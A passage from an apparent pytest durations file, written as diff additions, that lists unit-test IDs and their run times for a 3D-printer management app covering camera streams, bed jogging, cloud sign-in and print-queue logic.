"unit/test_asyncio_handlers.py::TestIsProactorConnectionReset::test_rejects_unrelated_connection_reset": 0.0013552987948060036, + "unit/test_asyncio_handlers.py::TestIsProactorConnectionReset::test_rejects_when_no_exception": 0.0013181809335947037, + "unit/test_asyncio_handlers.py::TestIsProactorConnectionReset::test_rejects_when_not_on_windows": 0.001325373537838459, + "unit/test_asyncio_handlers.py::TestProactorResetFilter::test_passes_unrelated_through_to_default": 0.0017739757895469666, + "unit/test_asyncio_handlers.py::TestProactorResetFilter::test_suppresses_proactor_reset": 0.0017775315791368484, + "unit/test_auth_fail_closed.py::test_is_auth_enabled_propagates_db_exception_instead_of_failing_open": 0.0019191186875104904, + "unit/test_auth_fail_closed.py::test_is_auth_enabled_returns_false_when_setting_value_is_false": 0.0018826406449079514, + "unit/test_auth_fail_closed.py::test_is_auth_enabled_returns_false_when_settings_row_absent": 0.0020526275038719177, + "unit/test_auth_fail_closed.py::test_is_auth_enabled_returns_true_when_setting_value_is_true": 0.00185401551425457, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_bit_18_clear_but_others_set": 0.0014278870075941086, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_h2d_off_capture": 0.001249462366104126, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_h2d_on_capture": 0.0012893658131361008, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_invalid_returns_none[0xZZ]": 0.0014545964077115059, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_invalid_returns_none[123]": 0.0016343919560313225, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_invalid_returns_none[None]": 0.0016409354284405708, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_invalid_returns_none[]": 0.0016479389742016792, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_invalid_returns_none[not_hex]": 0.0017758887261152267, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_invalid_returns_none[value5]": 0.001348879188299179, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_invalid_returns_none[value6]": 0.001335233449935913, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_lowercase_hex": 0.001416885294020176, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_only_bit_18_isolated": 0.0014644544571638107, + "unit/test_bambu_mqtt_cfg_parse.py::TestParseAmsFilamentBackupFromCfg::test_x1c_short_hex_string_on": 0.0012920312583446503, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_a1_down_arrow_drops_toolhead": 0.19512795750051737, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_a1_models_invert_z_sign[A1 Mini]": 0.19561757426708937, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_a1_models_invert_z_sign[A1-MINI]": 0.19993006996810436, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_a1_models_invert_z_sign[A1MINI]": 0.2078708615154028, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_a1_models_invert_z_sign[A1]": 0.2027610233053565, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_a1_models_invert_z_sign[N1]": 0.20114887412637472, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_a1_models_invert_z_sign[N2S]": 0.20036760810762644, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_bed_on_z_models_pass_distance_through[H2C]": 0.20444165542721748, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_bed_on_z_models_pass_distance_through[H2D]": 0.19653004501014948, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_bed_on_z_models_pass_distance_through[H2S]": 0.19988313037902117, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_bed_on_z_models_pass_distance_through[P1S]": 0.19672730565071106, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_bed_on_z_models_pass_distance_through[P2S]": 0.19846673589199781, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_bed_on_z_models_pass_distance_through[X1C]": 0.2021268056705594, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_emits_bare_move_and_never_touches_m211": 0.19497315771877766, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_never_touches_m211_even_with_stray_force": 0.19643642101436853, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_not_connected": 0.195679753087461, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_not_found": 0.20138199999928474, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_send_failure": 0.20338802970945835, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_too_large_rejected": 0.19382261112332344, + "unit/test_bed_jog.py::TestBedJogAPI::test_bed_jog_zero_distance_rejected": 0.19507451821118593, + "unit/test_bed_jog.py::TestHomeAxesAPI::test_home_axes_always_runs_full_home[all]": 0.20822911337018013, + "unit/test_bed_jog.py::TestHomeAxesAPI::test_home_axes_always_runs_full_home[xy]": 0.2002561902627349, + "unit/test_bed_jog.py::TestHomeAxesAPI::test_home_axes_always_runs_full_home[z]": 0.20493659283965826, + "unit/test_bed_jog.py::TestHomeAxesAPI::test_home_axes_invalid": 0.19646611530333757, + "unit/test_bed_jog.py::TestHomeAxesAPI::test_home_axes_not_connected": 0.20509884785860777, + "unit/test_bed_jog.py::TestHomeAxesAPI::test_home_axes_not_found": 0.20617751870304346, + "unit/test_bed_temperature_backfill_2989.py::TestItCannotStopBambuddyBooting::test_a_flag_row_with_an_empty_value_does_not_re_run": 0.08140875399112701, + "unit/test_bed_temperature_backfill_2989.py::TestItCannotStopBambuddyBooting::test_an_unexpected_exception_costs_one_archive_not_the_boot": 0.07516406010836363, + "unit/test_bed_temperature_backfill_2989.py::TestItCannotStopBambuddyBooting::test_one_bad_archive_does_not_stop_the_others": 0.0724561233073473, + "unit/test_bed_temperature_backfill_2989.py::TestItCannotStopBambuddyBooting::test_the_extractor_swallows_anything_a_file_can_throw": 0.0022584320977330208, + "unit/test_bed_temperature_backfill_2989.py::TestItCannotStopBambuddyBooting::test_the_extractor_swallows_what_no_one_predicted": 0.002637123689055443, + "unit/test_bed_temperature_backfill_2989.py::TestItFillsWhatItCan::test_a_null_is_read_from_the_plate_the_project_is_sliced_for": 0.0806384477764368, + "unit/test_bed_temperature_backfill_2989.py::TestItFillsWhatItCan::test_an_orca_export_still_resolves": 0.07259770948439837, + "unit/test_bed_temperature_backfill_2989.py::TestItFillsWhatItCan::test_several_archives_in_one_pass": 0.07889406010508537, + "unit/test_bed_temperature_backfill_2989.py::TestItRunsExactlyOnce::test_a_second_boot_does_not_rescan": 0.07165408041328192, + "unit/test_bed_temperature_backfill_2989.py::TestItRunsExactlyOnce::test_the_flag_is_written_even_when_nothing_matched": 0.06955409329384565, + "unit/test_bed_temperature_backfill_2989.py::TestWhatItRefusesToTouch::test_a_file_that_is_gone_stays_null": 0.06867100950330496, + "unit/test_bed_temperature_backfill_2989.py::TestWhatItRefusesToTouch::test_a_file_that_is_not_a_zip_stays_null": 0.06740973424166441, + "unit/test_bed_temperature_backfill_2989.py::TestWhatItRefusesToTouch::test_a_no_3mf_archive_stays_null": 0.07579276897013187, + "unit/test_bed_temperature_backfill_2989.py::TestWhatItRefusesToTouch::test_a_value_already_recorded_is_left_alone": 0.07660398911684752, + "unit/test_bed_temperature_backfill_2989.py::TestWhatItRefusesToTouch::test_an_all_zero_plate_array_stays_null": 0.07087442837655544, + "unit/test_billing_run_id_migration.py::test_billing_run_columns_and_legacy_archive_index_are_migrated": 0.45143792033195496, + "unit/test_bug_report.py::TestBugReportService::test_submit_no_relay_url": 0.0016390904784202576, + "unit/test_bug_report.py::TestBugReportService::test_submit_rate_limited": 0.0017547691240906715, + "unit/test_bug_report.py::TestBugReportService::test_submit_relay_connection_error": 0.003538009710609913, + "unit/test_bug_report.py::TestBugReportService::test_submit_relay_failure_response": 0.002942766062915325, + "unit/test_bug_report.py::TestBugReportService::test_submit_relay_http_error": 0.003070433624088764, + "unit/test_bug_report.py::TestBugReportService::test_submit_success": 0.003522212617099285, + "unit/test_bug_report.py::TestRateLimit::test_check_rate_limit_allows_first": 0.0014016777276992798, + "unit/test_bug_report.py::TestRateLimit::test_check_rate_limit_blocks_at_max": 0.0013666925951838493, + "unit/test_bug_report.py::TestRateLimit::test_check_rate_limit_clears_old": 0.001342475414276123, + "unit/test_bug_report.py::TestStartLogging::test_enables_debug_when_not_already_enabled": 0.002697865478694439, + "unit/test_bug_report.py::TestStartLogging::test_pushes_all_connected_printers": 0.002406892366707325, + "unit/test_bug_report.py::TestStartLogging::test_skips_enable_when_already_debug": 0.003815731965005398, + "unit/test_bug_report.py::TestStopLogging::test_collects_logs_and_restores_level": 0.002552652731537819, + "unit/test_bug_report.py::TestStopLogging::test_skips_restore_when_was_debug": 0.0021462226286530495, + "unit/test_bug_report.py::TestSubmitBugReportRoute::test_no_logs_when_debug_logs_not_provided": 0.0018823882564902306, + "unit/test_bug_report.py::TestSubmitBugReportRoute::test_uses_provided_debug_logs": 0.0019501736387610435, + "unit/test_bulk_spool_create.py::TestBulkCreateEndpoint::test_all_spools_have_same_fields": 0.002487393096089363, + "unit/test_bulk_spool_create.py::TestBulkCreateEndpoint::test_creates_requested_number_of_spools": 0.0028890343382954597, + "unit/test_bulk_spool_create.py::TestBulkCreateEndpoint::test_single_quantity_creates_one_spool": 0.0025729117915034294, + "unit/test_bulk_spool_create.py::TestSpoolBulkCreateSchema::test_default_quantity_is_1": 0.0013516321778297424, + "unit/test_bulk_spool_create.py::TestSpoolBulkCreateSchema::test_material_required": 0.0013260850682854652, + "unit/test_bulk_spool_create.py::TestSpoolBulkCreateSchema::test_quantity_max_100": 0.0013793855905532837, + "unit/test_bulk_spool_create.py::TestSpoolBulkCreateSchema::test_quantity_negative_rejected": 0.0013797348365187645, + "unit/test_bulk_spool_create.py::TestSpoolBulkCreateSchema::test_quantity_over_100_rejected": 0.001708722673356533, + "unit/test_bulk_spool_create.py::TestSpoolBulkCreateSchema::test_quantity_within_range": 0.0013541793450713158, + "unit/test_bulk_spool_create.py::TestSpoolBulkCreateSchema::test_quantity_zero_rejected": 0.0014362344518303871, + "unit/test_bulk_spool_create.py::TestSpoolBulkCreateSchema::test_spool_fields_preserved": 0.0013586562126874924, + "unit/test_bulk_spool_create.py::TestSpoolBulkCreateSchema::test_spool_with_slicer_filament_is_configured": 0.0013141734525561333, + "unit/test_bulk_spool_create.py::TestSpoolBulkCreateSchema::test_spool_without_slicer_filament_is_stock": 0.0013181911781430244, + "unit/test_bundled_compatible_printers_2982.py::TestTheFilamentSlot::test_a_colourless_bundled_profile_stays_colourless": 0.0021164771169424057, + "unit/test_bundled_compatible_printers_2982.py::TestTheFilamentSlot::test_an_unresolvable_material_stays_none": 0.002353140152990818, + "unit/test_bundled_compatible_printers_2982.py::TestTheFilamentSlot::test_carries_both_the_printer_list_and_the_material": 0.0021704165264964104, + "unit/test_bundled_compatible_printers_2982.py::TestThePrinterSlot::test_printer_presets_carry_no_compatibility_of_their_own": 0.002100076526403427, + "unit/test_bundled_compatible_printers_2982.py::TestTheProcessSlot::test_a_malformed_value_reads_as_no_data": 0.0021156640723347664, + "unit/test_bundled_compatible_printers_2982.py::TestTheProcessSlot::test_an_empty_list_reads_as_no_data": 0.0020635873079299927, + "unit/test_bundled_compatible_printers_2982.py::TestTheProcessSlot::test_an_older_sidecar_leaves_the_field_unset": 0.0021229498088359833, + "unit/test_bundled_compatible_printers_2982.py::TestTheProcessSlot::test_carries_the_declared_printer_list": 0.0021399790421128273, + "unit/test_bundled_compatible_printers_2982.py::TestTheProcessSlot::test_drops_non_string_entries_but_keeps_the_rest": 0.002367638982832432, + "unit/test_bundled_compatible_printers_2982.py::TestTheProcessSlot::test_keeps_a_printer_no_preset_is_named_after": 0.00232838187366724, + "unit/test_bundled_compatible_printers_2982.py::TestTheProcessSlot::test_normalises_a_bare_string": 0.002276347018778324, + "unit/test_camera_ffmpeg_termination.py::test_cleanup_orphaned_streams_bounded_on_unreaped_process": 0.0526225408539176, + "unit/test_camera_ffmpeg_termination.py::test_rtsp_stream_reconnects_past_unreaped_ffmpeg": 0.46867192070931196, + "unit/test_camera_ffmpeg_termination.py::test_terminate_drains_stdout_so_sigterm_works": 0.40707508008927107, + "unit/test_camera_ffmpeg_termination.py::test_terminate_ffmpeg_abandons_unreaped_kill": 0.052328900434076786, + "unit/test_camera_ffmpeg_termination.py::test_terminate_is_a_noop_for_an_already_dead_process": 0.0128184724599123, + "unit/test_camera_ffmpeg_termination.py::test_terminate_observes_kill_of_a_sigterm_proof_process": 0.7052268451079726, + "unit/test_camera_stderr_summary.py::test_banner_only_returns_empty": 0.0013473853468894958, + "unit/test_camera_stderr_summary.py::test_caps_at_10_lines": 0.0013896338641643524, + "unit/test_camera_stderr_summary.py::test_drops_blank_lines": 0.0013726139441132545, + "unit/test_camera_stderr_summary.py::test_empty_input": 0.0018158229067921638, + "unit/test_camera_stderr_summary.py::test_keeps_error_lines_drops_banner": 0.0015810029581189156, + "unit/test_camera_stderr_summary.py::test_read_stderr_captures_output_from_a_running_ffmpeg": 2.0040399180725217, + "unit/test_camera_stderr_summary.py::test_read_stderr_captures_output_from_an_exited_ffmpeg": 0.002372325398027897, + "unit/test_camera_stderr_summary.py::test_read_stderr_returns_none_for_banner_only_output": 0.0016073323786258698, + "unit/test_camera_stderr_summary.py::test_read_stderr_returns_none_when_no_stderr_pipe": 0.0016390830278396606, + "unit/test_camera_stderr_tail.py::test_a_process_without_stderr_is_handled": 0.001608976162970066, + "unit/test_camera_stderr_tail.py::test_close_releases_ownership_and_is_idempotent": 0.0018654176965355873, + "unit/test_camera_stderr_tail.py::test_it_keeps_draining_a_stream_that_never_closes_stderr": 0.0016658725216984749, + "unit/test_camera_stderr_tail.py::test_read_ffmpeg_stderr_defers_to_the_collector": 0.002026206813752651, + "unit/test_camera_stderr_tail.py::test_read_ffmpeg_stderr_still_reads_the_pipe_without_a_collector": 0.0019406480714678764, + "unit/test_camera_stderr_tail.py::test_terminate_skips_stderr_while_a_collector_owns_it": 0.0023033171892166138, + "unit/test_camera_stderr_tail.py::test_the_retained_tail_is_bounded": 0.0016599725931882858, + "unit/test_camera_stderr_tail.py::test_the_stream_generator_owns_then_releases_the_collector": 0.10241769254207611, + "unit/test_camera_stderr_tail.py::test_the_tail_keeps_the_newest_output": 0.001834397204220295, + "unit/test_camera_stderr_tail.py::test_the_tail_redacts_the_access_code": 0.002020827494561672, + "unit/test_camera_stream_registry_isolation.py::test_camera_stream_has_no_function_local_module_imports": 0.0038817962631583214, + "unit/test_camera_stream_registry_isolation.py::test_departing_generator_leaves_its_successors_registry_entry_alone": 0.10245904978364706, + "unit/test_camera_stream_registry_isolation.py::test_fanout_stream_id_keeps_the_printer_prefix": 0.0016442611813545227, + "unit/test_camera_stream_registry_isolation.py::test_fanout_stream_ids_are_unique_per_stream": 0.0018808143213391304, + "unit/test_camera_stream_registry_isolation.py::test_frame_state_survives_when_a_chamber_stream_is_live": 0.0016354257240891457, + "unit/test_camera_stream_registry_isolation.py::test_frame_state_survives_when_another_rtsp_stream_is_live": 0.001643880270421505, + "unit/test_camera_stream_registry_isolation.py::test_last_stream_out_releases_the_frame_state": 0.0016344515606760979, + "unit/test_camera_stream_registry_isolation.py::test_release_is_a_noop_without_a_printer_id": 0.0016676774248480797, + "unit/test_camera_usb_stream_cleanup.py::test_cleanup_janitor_reaps_stale_external_usb_stream": 0.001733287237584591, + "unit/test_camera_usb_stream_cleanup.py::test_scan_ignores_unrelated_ffmpeg": 0.002310400828719139, + "unit/test_camera_usb_stream_cleanup.py::test_scan_matches_v4l2_ffmpeg": 0.0022173654288053513, + "unit/test_camera_usb_stream_cleanup.py::test_stop_endpoint_terminates_registered_external_process": 0.001810203306376934, + "unit/test_camera_usb_stream_cleanup.py::test_stream_usb_registers_process_via_on_process": 0.002564268186688423, + "unit/test_cancellation_cascade_recovery_migration.py::test_migration_is_idempotent": 1.560046711936593, + "unit/test_cancellation_cascade_recovery_migration.py::test_per_printer_isolation": 0.4703105306252837, + "unit/test_cancellation_cascade_recovery_migration.py::test_reporter_exact_cascade_resets_all_three": 0.46971610747277737, + "unit/test_cancellation_cascade_recovery_migration.py::test_skipped_after_aborted_stays_skipped": 0.46688198670744896, + "unit/test_cancellation_cascade_recovery_migration.py::test_skipped_after_cancelled_resets_to_pending": 0.46544124558568, + "unit/test_cancellation_cascade_recovery_migration.py::test_skipped_after_failed_stays_skipped": 0.4849333092570305, + "unit/test_cancellation_cascade_recovery_migration.py::test_skipped_with_other_error_message_untouched": 0.4616748746484518, + "unit/test_cancelled_pool_filter.py::TestCancelledPoolNoiseFilter::test_drops_gc_cleanup_record": 0.0014571212232112885, + "unit/test_cancelled_pool_filter.py::TestCancelledPoolNoiseFilter::test_drops_terminate_with_cancelled_exc": 0.0019867438822984695, + "unit/test_cancelled_pool_filter.py::TestCancelledPoolNoiseFilter::test_drops_when_cancelled_is_in_cause_chain": 0.001401146873831749, + "unit/test_cancelled_pool_filter.py::TestCancelledPoolNoiseFilter::test_handles_self_referential_cause_chain": 0.0013931412249803543, + "unit/test_cancelled_pool_filter.py::TestCancelledPoolNoiseFilter::test_keeps_terminate_with_real_oserror": 0.001405784860253334, + "unit/test_cancelled_pool_filter.py::TestCancelledPoolNoiseFilter::test_keeps_terminate_without_exc_info": 0.0013780118897557259, + "unit/test_cancelled_pool_filter.py::TestCancelledPoolNoiseFilter::test_keeps_unrelated_pool_message": 0.0013983529061079025, + "unit/test_capture_pid_tracking.py::TestCapturePidRegistration::test_no_pid_tracked_for_chamber_image_models": 0.002519773319363594, + "unit/test_capture_pid_tracking.py::TestCapturePidRegistration::test_no_pid_tracked_when_subprocess_fails": 0.002655058167874813, + "unit/test_capture_pid_tracking.py::TestCapturePidRegistration::test_pid_registered_during_capture": 0.0030326051637530327, + "unit/test_capture_pid_tracking.py::TestCapturePidRegistration::test_pid_removed_after_failure": 0.00257890485227108, + "unit/test_capture_pid_tracking.py::TestCapturePidRegistration::test_pid_removed_after_timeout": 0.014416050165891647, + "unit/test_capture_pid_tracking.py::TestCleanupExcludesCapturePids::test_cleanup_kills_non_capture_pids": 0.002243303693830967, + "unit/test_capture_pid_tracking.py::TestCleanupExcludesCapturePids::test_cleanup_skips_capture_pids": 0.001920228824019432, + "unit/test_catalog_bulk_delete.py::TestBulkDeleteIdsRequest::test_accepts_empty_list": 0.0012646792456507683, + "unit/test_catalog_bulk_delete.py::TestBulkDeleteIdsRequest::test_accepts_list_of_ids": 0.0014212625101208687, + "unit/test_catalog_bulk_delete.py::TestBulkDeleteIdsRequest::test_rejects_missing_ids": 0.0008615236729383469, + "unit/test_chamber_temp_ceiling.py::test_ceiling_is_65": 0.0008180644363164902, + "unit/test_chamber_temp_ceiling.py::test_chamber_presets_accept_the_ceiling": 0.0009002480655908585, + "unit/test_chamber_temp_ceiling.py::test_chamber_presets_reject_above_the_ceiling": 0.0009109377861022949, + "unit/test_chamber_temp_ceiling.py::test_override_accepts_the_ceiling[PrintQueueBulkUpdate-required2]": 0.0012256968766450882, + "unit/test_chamber_temp_ceiling.py::test_override_accepts_the_ceiling[PrintQueueItemCreate-required0]": 0.0008984338492155075, + "unit/test_chamber_temp_ceiling.py::test_override_accepts_the_ceiling[PrintQueueItemUpdate-required1]": 0.0011568991467356682, + "unit/test_chamber_temp_ceiling.py::test_override_rejects_above_the_ceiling[PrintQueueBulkUpdate-required2]": 0.0010253619402647018, + "unit/test_chamber_temp_ceiling.py::test_override_rejects_above_the_ceiling[PrintQueueItemCreate-required0]": 0.0010037310421466827, + "unit/test_chamber_temp_ceiling.py::test_override_rejects_above_the_ceiling[PrintQueueItemUpdate-required1]": 0.0009978488087654114, + "unit/test_chamber_temp_ceiling.py::test_override_still_accepts_zero[PrintQueueBulkUpdate-required2]": 0.0011565377935767174, + "unit/test_chamber_temp_ceiling.py::test_override_still_accepts_zero[PrintQueueItemCreate-required0]": 0.0009010890498757362, + "unit/test_chamber_temp_ceiling.py::test_override_still_accepts_zero[PrintQueueItemUpdate-required1]": 0.0009329468011856079, + "unit/test_check_previous_success.py::test_acknowledged_aborted_is_excluded": 0.6624282002449036, + "unit/test_check_previous_success.py::test_acknowledged_failure_is_excluded": 0.18555171135812998, + "unit/test_check_previous_success.py::test_acknowledged_failure_walks_back_to_completed": 0.1929911132901907, + "unit/test_check_previous_success.py::test_cascade_reporters_scenario": 0.18418389558792114, + "unit/test_check_previous_success.py::test_completed_then_failed_blocks": 0.18700771685689688, + "unit/test_check_previous_success.py::test_failed_then_cancelled_still_passes": 0.18257247563451529, + "unit/test_check_previous_success.py::test_fresh_failure_after_ack_still_blocks": 0.19317366555333138, + "unit/test_check_previous_success.py::test_no_previous_item_returns_true": 0.18747992347925901, + "unit/test_check_previous_success.py::test_only_skipped_history_returns_true": 0.18011063057929277, + "unit/test_check_previous_success.py::test_previous_aborted_returns_false": 0.19246249366551638, + "unit/test_check_previous_success.py::test_previous_cancelled_returns_true_bug_a": 0.18298305477946997, + "unit/test_check_previous_success.py::test_previous_completed_returns_true": 0.18260790221393108, + "unit/test_check_previous_success.py::test_previous_failed_returns_false": 0.18217785377055407, + "unit/test_check_previous_success.py::test_skipped_predecessor_is_walked_past_bug_b": 0.17859747353941202, + "unit/test_cli.py::test_bootstrap_creates_key_when_none_exists": 0.05751349776983261, + "unit/test_cli.py::test_bootstrap_custom_name": 0.06521871127188206, + "unit/test_cli.py::test_bootstrap_force_rotates_existing_key": 0.06623838003724813, + "unit/test_cli.py::test_bootstrap_marks_setup_completed": 0.058166501112282276, + "unit/test_cli.py::test_bootstrap_refuses_to_overwrite_without_force": 0.06675886549055576, + "unit/test_cli.py::test_bootstrap_setup_idempotent_on_rotate": 0.05889017786830664, + "unit/test_cloud_captcha_2790.py::TestChallengeIsRecognisedByShape::test_a_418_without_a_marker_is_not_reported_as_a_captcha": 0.0010948115959763527, + "unit/test_cloud_captcha_2790.py::TestChallengeIsRecognisedByShape::test_a_non_json_body_without_markers_is_not": 0.001000446267426014, + "unit/test_cloud_captcha_2790.py::TestChallengeIsRecognisedByShape::test_a_non_json_challenge_is_still_recognised": 0.0010057557374238968, + "unit/test_cloud_captcha_2790.py::TestChallengeIsRecognisedByShape::test_captcha_id_marks_the_challenge": 0.0015564868226647377, + "unit/test_cloud_captcha_2790.py::TestChallengeIsRecognisedByShape::test_status_alone_does_not_decide_it": 0.0010135481134057045, + "unit/test_cloud_captcha_2790.py::TestChallengeIsRecognisedByShape::test_wording_alone_is_enough": 0.0013070190325379372, + "unit/test_cloud_captcha_2790.py::TestMakerWorldSharesTheDetector::test_a_challenge_worded_differently_is_still_named": 1.5031667407602072, + "unit/test_cloud_captcha_2790.py::TestRetriesAreHeldBack::test_a_challenge_on_the_api_host_does_not_strand_a_totp_sign_in": 0.0022630589082837105, + "unit/test_cloud_captcha_2790.py::TestRetriesAreHeldBack::test_a_second_attempt_is_not_sent_to_bambu": 0.0018223356455564499, + "unit/test_cloud_captcha_2790.py::TestRetriesAreHeldBack::test_the_china_region_is_tracked_separately": 0.0022124070674180984, + "unit/test_cloud_captcha_2790.py::TestRetriesAreHeldBack::test_the_cooloff_covers_a_fresh_service_instance": 0.0025823302567005157, + "unit/test_cloud_captcha_2790.py::TestRetriesAreHeldBack::test_the_cooloff_expires": 0.0019488437101244926, + "unit/test_cloud_captcha_2790.py::TestSignInReportsTheChallenge::test_an_ordinary_rejection_is_unchanged": 0.0017328588292002678, + "unit/test_cloud_captcha_2790.py::TestSignInReportsTheChallenge::test_email_code_verification_reports_it_too": 0.002256970852613449, + "unit/test_cloud_captcha_2790.py::TestSignInReportsTheChallenge::test_login_explains_instead_of_echoing_bambu": 0.0020148865878582, + "unit/test_cloud_captcha_2790.py::TestSignInReportsTheChallenge::test_totp_verification_reports_it_too": 0.0018531735986471176, + "unit/test_cloud_captcha_2790.py::TestTheSupportBundleNamesIt::test_the_warning_we_log_matches_the_signature": 0.0027805818244814873, + "unit/test_cloud_token_expiry.py::TestAuthFailureCallback::test_401_fires_the_callback": 0.0018307026475667953, + "unit/test_cloud_token_expiry.py::TestAuthFailureCallback::test_callback_failure_does_not_mask_the_401": 0.002272999845445156, + "unit/test_cloud_token_expiry.py::TestAuthFailureCallback::test_reported_once_per_service": 0.0016822237521409988, + "unit/test_cloud_token_expiry.py::TestAuthFailureCallback::test_success_does_not_fire_the_callback": 0.001626557670533657, + "unit/test_cloud_token_expiry.py::TestAuthFailureCallback::test_transient_401_does_not_fire_the_callback": 0.0016891174018383026, + "unit/test_cloud_token_expiry.py::TestNoInventedExpiry::test_is_authenticated_means_loaded_not_accepted": 0.0013603493571281433, + "unit/test_cloud_token_expiry.py::TestNoInventedExpiry::test_set_token_records_no_expiry": 0.001864193007349968, + "unit/test_cloud_token_expiry.py::TestPersistedFlag::test_absent_by_default": 0.17520934250205755, + "unit/test_cloud_token_expiry.py::TestPersistedFlag::test_fresh_login_clears_the_flag": 0.17925149109214544, + "unit/test_cloud_token_expiry.py::TestPersistedFlag::test_logout_clears_the_flag": 0.1812746925279498, + "unit/test_cloud_token_expiry.py::TestPersistedFlag::test_set_flag_is_read_back": 0.18022974207997322, + "unit/test_cloud_token_expiry.py::TestStatusRoute::test_bambu_unreachable_does_not_resurrect_a_known_dead_token": 0.20420075301080942, + "unit/test_cloud_token_expiry.py::TestStatusRoute::test_bambu_unreachable_keeps_the_user_signed_in": 0.20142162404954433, + "unit/test_cloud_token_expiry.py::TestStatusRoute::test_known_dead_token_does_not_re_ask_bambu": 0.20390009880065918, + "unit/test_cloud_token_expiry.py::TestStatusRoute::test_no_token_is_not_expired": 0.20257767010480165, + "unit/test_cloud_token_expiry.py::TestStatusRoute::test_token_bambu_accepts_reports_connected": 0.21157888136804104, + "unit/test_cloud_token_expiry.py::TestStatusRoute::test_token_bambu_rejects_reports_expired": 0.2092336555942893, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_accepted_token_returns_true": 0.001678556203842163, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_cache_is_keyed_per_token": 0.0020583486184477806, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_cloudflare_challenge_is_unknown_not_invalid": 0.004918808117508888, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_expiry_signature_via_please_login_text": 0.0016333116218447685, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_login_drops_a_cached_rejection": 0.0020872140303254128, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_network_failure_is_unknown_not_invalid": 0.001833106391131878, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_no_token_is_not_authenticated": 0.0016000382602214813, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_rejected_token_returns_false": 0.0016195261850953102, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_server_error_is_unknown_not_invalid": 0.001690499484539032, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_transient_401_is_unknown_not_invalid": 0.00167765561491251, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_unparseable_401_is_unknown_not_invalid": 0.0018981285393238068, + "unit/test_cloud_token_expiry.py::TestValidateToken::test_verdict_is_cached": 0.0016311882063746452, + "unit/test_cloud_totp_csrf.py::TestCsrfHandshake::test_a_failing_csrf_fetch_is_reported_not_swallowed": 0.0057177459821105, + "unit/test_cloud_totp_csrf.py::TestCsrfHandshake::test_does_not_post_the_code_when_no_token_could_be_obtained": 0.006205328740179539, + "unit/test_cloud_totp_csrf.py::TestCsrfHandshake::test_echoes_the_cookie_in_the_x_bbl_csrf_token_header": 0.0066915713250637054, + "unit/test_cloud_totp_csrf.py::TestCsrfHandshake::test_fetches_the_token_before_posting_the_code": 0.00747928861528635, + "unit/test_cloud_totp_csrf.py::TestCsrfHandshake::test_posts_to_the_tfa_endpoint_with_the_key_and_code": 0.0056870197877287865, + "unit/test_cloud_totp_csrf.py::TestCsrfHandshake::test_uses_the_china_origin_for_the_china_region": 0.005632839165627956, + "unit/test_cloud_totp_csrf.py::TestCsrfRejectionMessage::test_a_genuinely_wrong_code_still_reports_bambus_own_message": 0.012474961578845978, + "unit/test_cloud_totp_csrf.py::TestCsrfRejectionMessage::test_csrf_rejection_says_the_code_was_never_checked[missing_cookie]": 0.006035682745277882, + "unit/test_cloud_totp_csrf.py::TestCsrfRejectionMessage::test_csrf_rejection_says_the_code_was_never_checked[missing_header]": 0.007813414558768272, + "unit/test_cloud_totp_csrf.py::TestCsrfRejectionMessage::test_expired_session_keeps_its_dedicated_message": 0.006340564228594303, + "unit/test_code_quality.py::TestImportShadowing::test_no_import_shadowing_in_main": 0.09312198776751757, + "unit/test_code_quality.py::TestImportShadowing::test_no_import_shadowing_in_routes": 0.5076033715158701, + "unit/test_code_quality.py::TestImportShadowing::test_no_import_shadowing_in_services": 0.5842375149950385, + "unit/test_code_quality.py::TestLogErrorPatterns::test_mqtt_message_processing_no_errors": 0.0012657716870307922, + "unit/test_code_quality.py::TestModuleImports::test_all_modules_importable": 0.001211380586028099, + "unit/test_color_utils.py::TestColorMatchKey::test_differs_when_the_rgb_differs": 0.0009022317826747894, + "unit/test_color_utils.py::TestColorMatchKey::test_is_the_stored_shape": 0.0008530179038643837, + "unit/test_color_utils.py::TestColorMatchKey::test_missing_value_is_empty_string": 